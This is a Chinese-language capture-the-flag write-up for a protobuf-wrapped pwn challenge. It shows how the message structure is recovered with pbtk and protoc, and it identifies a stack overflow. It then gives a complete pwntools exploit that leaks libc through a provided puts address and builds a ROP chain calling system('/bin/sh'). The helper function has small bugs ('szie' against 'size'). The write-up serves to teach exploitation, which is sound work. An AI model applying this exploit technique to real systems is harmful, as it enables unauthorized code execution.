# protocol
前言:
华中赛区题目,第一次,由此记录一下
文档:https://protobuf.dev/overview/
如何去还原此结构:
我的方案如下
git clone https://github.com/marin-m/pbtk.git
sudo apt install protobuf-compiler
先进行必要的安装配置
接下来去生成导入的 py 包
./extractors/from_binary.py ./pwn
protoc --python_out=. ./filename.proto
即可得到上面文件
# 题目启动
# 检查保护
运行一波程序看看咋样
# 测试
输入会输出这个,去定位一下
if 判断 v5 是否返回 1,返回 0 则会输出 Protobuf Parse Error!
可以发现,我们 v6 向 s 所在地址去输入,而 v5 所指向的函数应该是检测 s 地址内容的函数
GPT 解释如下
google::protobuf::MessageLite::ParseFromArray
是 Google Protocol Buffers (protobuf) 库中用于解析二进制数据的方法。它从给定的字节数组中解析数据并将其填充到相应的 protobuf 消息中。
让我们分解一下这个函数调用:
google::protobuf::MessageLite::ParseFromArray((google::protobuf::MessageLite *)&unk_209080, s, v6);
-
google::protobuf::MessageLite
是一个抽象基类,它定义了所有 protobuf 消息的基本接口和操作。ParseFromArray
是这个类中的一个成员函数。 -
ParseFromArray
函数的签名通常是这样的:bool ParseFromArray(const void* data, int size);
它从一个给定大小的字节数组 (
data
开始,大小为size
) 中解析 protobuf 消息。 -
在这个调用中:
(google::protobuf::MessageLite *)&unk_209080
是一个指向google::protobuf::MessageLite
派生类实例的指针,表示要将解析得到的数据填充到unk_209080
对象中。s
是一个指向字节数组的指针,表示数据来源。v6
是一个整数,表示字节数组的大小(即s
的长度)。
换句话说,这个函数调用试图从字节数组 s
中读取 v6
个字节,并将解析得到的消息存储到 unk_209080
对象中。
如果解析成功, ParseFromArray
将返回 true
;如果失败,则返回 false
。通常情况下,失败的原因可能包括数据格式不正确或数组长度不够等。
所以如果我们解析失败则不去往下去执行
unk_209080 填充数据地方只有 1bit 大小空间
我们很难进行自己去输入测试
看下结构体
message protoMessage { | |
optional string name = 1; | |
optional string phoneNumber = 2; | |
required bytes buffer = 3; | |
required uint32 size = 4; | |
} |
optional 可选项
required 需要写入
封装函数
def send_payload( buf, szie, name = b'name', phoneNumber = b'phoneNumber'): | |
pl = message_pb2.protoMessage() | |
pl.buffer = buf | |
pl.size = len(size) | |
return pl.SerializeToString() |
from pwn import * | |
import message_pb2 | |
p = process('./pwn') | |
''' | |
message protoMessage { | |
optional string name = 1; | |
optional string phoneNumber = 2; | |
required bytes buffer = 3; | |
required uint32 size = 4; | |
} | |
''' | |
def set_payload(buf, szie, name = b'name', phoneNumber = b'phoneNumber'): | |
pl = message_pb2.protoMessage() | |
pl.name = name | |
pl.phoneNumber = phoneNumber | |
pl.buffer = buf | |
pl.size = size | |
return pl.SerializeToString() | |
buf = b'aaaa' | |
size = len(buf) | |
payload = set_payload(buf,size) | |
p.send(payload) | |
p.interactive() |
这样我们就可以成功的去执行了
# 寻找漏洞
n [0] 是我们输入 buf 的大小,n [1] 是我们输入的内容。而前面可以设置最大为 0x1000 很明显有栈溢出漏洞。
给出给的 puts 函数的地址,构造合理的 rop 或者 one_gadget(后来发现 one_gadget 没有相应的条件
完整 exp 如下
from pwn import * | |
import message_pb2 | |
p = process('./pwn') | |
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') | |
def set_payload(buf, szie, name = b'name', phoneNumber = b'phoneNumber'): | |
pl = message_pb2.protoMessage() | |
pl.name = name | |
pl.phoneNumber = phoneNumber | |
pl.buffer = buf | |
pl.size = size | |
return pl.SerializeToString() | |
def debug(): | |
gdb.attach(p) | |
pause() | |
''' | |
message protoMessage { | |
optional string name = 1; | |
optional string phoneNumber = 2; | |
required bytes buffer = 3; | |
required uint32 size = 4; | |
} | |
''' | |
# debug() | |
p.recvuntil(b'Gift: 0x') | |
puts_libc = int(p.recvn(12),16) | |
libcbase = puts_libc - libc.sym['puts'] | |
success(hex(libcbase)) | |
system = libcbase + libc.sym['system'] | |
binsh = libcbase + next(libc.search(b'/bin/sh')) | |
rdi = libcbase + 0x000000000002164f | |
ret = rdi + 1 | |
ogg = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc] | |
og = libcbase + ogg[3] | |
buf = b'a'*0x218 + p64(ret) + p64(rdi) + p64(binsh) + p64(system) | |
size = len(buf) | |
payload = set_payload(buf,size) | |
p.send(payload) | |
p.interactive() |